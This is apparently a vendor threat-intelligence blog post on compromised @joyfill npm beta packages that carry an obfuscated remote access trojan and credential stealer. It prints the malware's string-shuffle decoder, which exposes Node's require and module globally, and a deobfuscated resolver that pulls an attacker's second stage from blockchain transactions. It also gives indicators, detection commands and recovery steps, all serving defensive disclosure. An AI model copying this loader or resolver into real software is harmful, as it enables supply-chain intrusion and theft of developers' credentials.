Back to Blog

Compromised npm Packages: @joyfill/components and @joyfill/layouts Ship an Obfuscated Remote Access Trojan

Malicious 2773 beta versions of @joyfill/components and @joyfill/layouts carry an obfuscated remote access trojan and credential stealer that run on import. Here is how it works and how to check if you are affected.
Varun Sharma
View LinkedIn

July 28, 2026

Share on X
Share on X
Share on LinkedIn
Share on Facebook
Follow our RSS feed
Threat intelligence cover: obfuscated remote access trojan shipped in two Joyfill npm packages
Table of Contents

On July 28, 2026, malicious beta versions of two Joyfill npm packages, @joyfill/components and @joyfill/layouts, were published to the npm registry. Both versions carry the same heavily obfuscated payload injected into the built distribution bundles. The code runs when an application imports the package, so npm install --ignore-scripts does not stop it. It exposes Node.js require and module on the global object, resolves a command and control server through a public blockchain transaction, opens a Socket.IO remote access channel, and stages a Python credential stealer. The packages are legitimate projects that were hijacked, and the malicious code lives only in the published tarballs.

StepSecurity confirmed the compromise three ways. The StepSecurity OSS AI scan feed flagged @joyfill/layouts@0.1.2-2773.beta.0 as CRITICAL with a security score of 0 and a REJECTED verdict. We detonated all affected versions under Harden-Runner in a sandbox. We diffed the malicious builds against their clean siblings and extracted the injected payload on the runner.

Severity: Critical
Ecosystem: npm

Action required. If your repositories, CI/CD pipelines, or developer machines installed any 2773 prerelease of @joyfill/components or @joyfill/layouts, treat those environments as compromised. Remove the versions, pin to a known good release published before July 28, 2026, and rotate any credentials that were present on affected machines. Details are in Recovery Steps below.

The Compromised Packages

PackageCompromised versionsWhy flagged
@joyfill/components4.0.0-rc24-2773-beta.4, 4.0.0-rc24-2773-beta.5, 4.0.0-rc24-2773-beta.6Obfuscated payload appended to dist/index.js, dist/index.esm.js, and dist/joyfill.min.js
@joyfill/layouts0.1.2-2773.beta.0, 0.1.2-2773.beta.1, 0.1.2-2773.beta.2Obfuscated payload prepended to dist/index.cjs.js and dist/index.es.js

How we confirmed it: the malicious dist bundles are the only place the code appears, there is no matching source change in the project, and the identical obfuscated block appears in both packages. That shared implant is a strong signal that one actor injected the same tool into both.

npm registry versions page for @joyfill/layouts showing the 2773 beta releases
The npm registry lists the 2773 beta releases published within hours of each other, next to the last legitimate 0.1.1 release.

How the Attack Works

The loader runs on import, not on install

The payload is not a postinstall script. It is compiled into the package entry bundles, so it executes the moment a project imports the package. In @joyfill/layouts the block is prepended to the CommonJS and ES module entries. In @joyfill/components it is appended after roughly 3.2 MB of legitimate React code, which helps it hide in a large bundle.

Multi-layer string obfuscation

The first stage is a string shuffle decoder. A seeded loop swaps characters and then rebuilds hidden strings through character substitution, so static analysis for literal terms like socket.io or a wallet address finds nothing.

global["!"] = "9-0135-3";
var _$_1e42 = function(l, e) {
 var h = l.length, g = [];
 for (var j = 0; j < h; j++) { g[j] = l.charAt(j); }
 for (var j = 0; j < h; j++) {
  var s = e * (j + 489) + e % 19597;
  var w = e * (j + 659) + e % 48014;
  var t = s % h, p = w % h, y = g[t];
  g[t] = g[p]; g[p] = y;
  e = (s + w) % 4573868;
 }
 var x = String.fromCharCode(127);
 return g.join("").split("%").join(x).split("#1").join("%").split("#0").join("#").split(x);
}("rmcej%otb%", 2857687);
global[_$_1e42[0]] = require;
if (typeof module === _$_1e42[1]) { global[_$_1e42[2]] = module; }

The global["!"] = "9-0135-3" line is a campaign marker. The decoded global.r = require and global.m = module assignments hand the payload direct access to Node module loading, which it uses to pull in child_process, http, and other primitives without those names ever appearing in clear text.

StepSecurity OSS AI scan finding showing the injected decoder at dist/index.es.js line 862
The StepSecurity OSS AI scan pinpoints the injected decoder at dist/index.es.js:862, starting with the 9-0135-3 marker.

Blockchain-based command and control resolution

Rather than hardcode a server, the payload reads a transaction from a fixed Tron address, follows it to a Binance Smart Chain transaction through eth_getTransactionByHash, decodes and XOR decrypts the transaction input, and evaluates the result as JavaScript. That indirection lets the operator rotate the live C2 address at any time by posting a new transaction, and it keeps the real server out of the package.

Socket.IO remote access trojan and a second stage

The resolved stage configures a Socket.IO client to the C2 and registers a command handler with verbs for host info, file upload and download, directory listing, and arbitrary code execution (ss_info, ss_eval, ss_upf, ss_upd, ss_dir, and more). In parallel it spawns a detached node -e child that requests /$/boot from a second host and XOR decrypts the response, so the two stages run independently.

Persistence and a Python credential stealer

The trojan persists by inserting a self reloading block into files that developer tools run routinely, including the @vscode/deviceid module used by VS Code, Cursor, and Antigravity, the Discord desktop core module, GitHub Desktop main.js, and the global npm CLI. It also stages a Python infostealer that collects browser data, browser extension wallets and password managers, Git and GitHub CLI credentials, and OS keychains, packs them into an encrypted archive, and uploads them to the C2. The real target is the developer workstation, not the CI runner.

Runtime Validation with StepSecurity Harden-Runner

We detonated all six 2773 versions in a sandbox under Harden-Runner with egress policy set to audit, covering both install time and import time, with CI environment markers stripped so any CI evasion check would still fire.

What the runs showed:

  1. Install produced no scripts and no child processes, which matches an import time trigger rather than a postinstall hook.
  2. Importing the package loaded the compromised bundle. We held the Node process open so any asynchronous beacon had time to run.
  3. Detonating the payload directly captured the blockchain based command and control resolution executing live. Under Harden-Runner the Node process reached out to api.trongrid.io, then the Binance Smart Chain RPCs bsc-dataseed.binance.org and bsc-rpc.publicnode.com, with fullnode.mainnet.aptoslabs.com as a fallback, and recovered a second stage payload from the attacker on-chain transaction. This confirms the command and control infrastructure was live and reachable.

The captured calls match the payload deobfuscated resolver, which reads a Tron transaction, follows it to a Binance Smart Chain transaction, XOR decrypts the transaction input, and evaluates the result:

async function recoverStage(xorKey, tronAddress) {
  const tron = await fetchJson(
    "https://api.trongrid.io/v1/accounts/" + tronAddress +
    "/transactions?only_confirmed=true&only_from=true&limit=1");
  const txHash = Buffer.from(tron.data[0].raw_data.data, "hex")
    .toString("utf8").split("?.?").reverse().join("");
  const rpc = await rpcCall("eth_getTransactionByHash",
    [txHash], "bsc-dataseed.binance.org");
  const stage = Buffer.from(rpc.result.input.slice(2), "hex")
    .toString("utf8").split("?.?")[1];
  return xorDecode(xorKey, stage);
}
Harden-Runner network events showing the payload resolving its C2 through api.trongrid.io, Binance Smart Chain RPCs, and an Aptos fallback
Under Harden-Runner, the payload process (PID 2408) resolves its command and control server through api.trongrid.io, the Binance Smart Chain RPCs, and an Aptos fallback, then recovers a live second stage.

To prove the malicious code is present rather than assume it, we installed each 2773 version next to its clean sibling with --ignore-scripts and diffed the entry bundles on the runner. The diff surfaced the obfuscated block in the malicious builds only, and we extracted the decoder and the global.r = require assignment shown above directly from the installed tarball. The StepSecurity OSS AI scan feed independently reached the same conclusion for @joyfill/layouts, reporting roughly 333 lines of obfuscated malicious code across the ES module and CommonJS bundles.

StepSecurity OSS AI scan verdict card rating joyfill layouts 2773 beta.0 as Critical Risk 0 out of 10 with a Rejected verdict
The StepSecurity OSS AI scan rates @joyfill/layouts@0.1.2-2773.beta.0 Critical, score 0 out of 10, with a REJECTED verdict.

Indicators of Compromise

Compromised package versions

  • @joyfill/components@4.0.0-rc24-2773-beta.4, @4.0.0-rc24-2773-beta.5, @4.0.0-rc24-2773-beta.6
  • @joyfill/layouts@0.1.2-2773.beta.0, @0.1.2-2773.beta.1, @0.1.2-2773.beta.2

Command and control infrastructure

  • 166.88.134.62 (ports 443 and 80)
  • 23.27.13.43 (serves /$/boot)
  • 198.105.127.210
  • 23.27.202.27

C2 request paths: /$/boot, /u/e, /u/f, /0x/js, /verify-human/, /snv

Blockchain and lookup endpoints: api.trongrid.io, fullnode.mainnet.aptoslabs.com, bsc-dataseed.binance.org, bsc-rpc.publicnode.com, ip-api.com

Tron addresses: TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP, TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG, TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v

File hashes (SHA-256)

  • Final Socket.IO RAT: 26351aed0397158d3a3b8cc8fd3047d4c015d264c9895f10f20f1521b974ed18
  • Python credential stealer: 36ff00b45e67baa7e3674b0c80f48e88737264c61e5c6b3b091200972de8157c

Host behaviors

  • The 9-0135-3 campaign marker and a Sec-V: A9-0135-3 request header
  • Self reloading blocks tagged C250617A, C250618A, C250619A, C250620A, C260511A, C260512A, and RS260605 inside developer tool files
  • Credential staging under %USERPROFILE%\.npm or /tmp/.npm and an encrypted archive
  • Blockchain command and control resolution from Tron accounts TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP and TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG, with Aptos fallback accounts 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e and 0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3

Am I Affected?

CI/CD pipelines. Check your Harden-Runner organization baseline for any outbound calls to the C2 hosts or the blockchain lookup endpoints listed above. Anomalous network calls to 166.88.134.62, 23.27.13.43, api.trongrid.io, or bsc-dataseed.binance.org from a node process during install or test are a strong signal.

Developer machines. Dev Machine Guard can detect the compromised npm packages installed on developer laptops and the suspicious files this campaign drops. The credential stealer targets workstations directly, so this is the highest priority surface.

Code repositories. Grep your lockfiles for any 2773 prerelease of either package.

grep -rEn 'joyfill.*2773' package-lock.json yarn.lock pnpm-lock.yaml

Recovery Steps

  1. Remove the compromised versions and pin to a release published before July 28, 2026.
npm install @joyfill/components@4.0.0-rc24 @joyfill/layouts@0.1.1
  1. Delete node_modules and reinstall from a clean lockfile so the injected bundle is gone.
  2. On any developer machine that imported the package, inspect the developer tool files listed above for the injected marker tags and reinstall the affected applications if found.
  3. Rotate credentials that were present on affected machines, including browser stored secrets, Git and GitHub tokens, npm tokens, and any wallet keys.
  4. Review outbound network logs for connections to the C2 hosts and blockchain lookup endpoints.

How StepSecurity Protects Against This

Harden-Runner records every process, file, and network event in your CI/CD jobs. In audit mode it flags outbound calls that are not in your baseline, which is exactly how a blockchain lookup or a C2 callout stands out. In block mode it denies any destination that is not on your allowlist, so a newly resolved C2 address is blocked by default.

npm Package Cooldown and Compromised Package checks stop a newly published or known malicious version from entering your repositories through a pull request.

Dev Machine Guard discovers the npm packages installed on developer machines and detects the suspicious files this campaign drops, which covers the workstation surface the stealer is built to attack.

Check if these packages are in your environment

StepSecurity checks your repositories, CI/CD pipelines, and developer machines for compromised packages like the ones in this Joyfill campaign.

Start FreeRequest a Demo

Explore Related Posts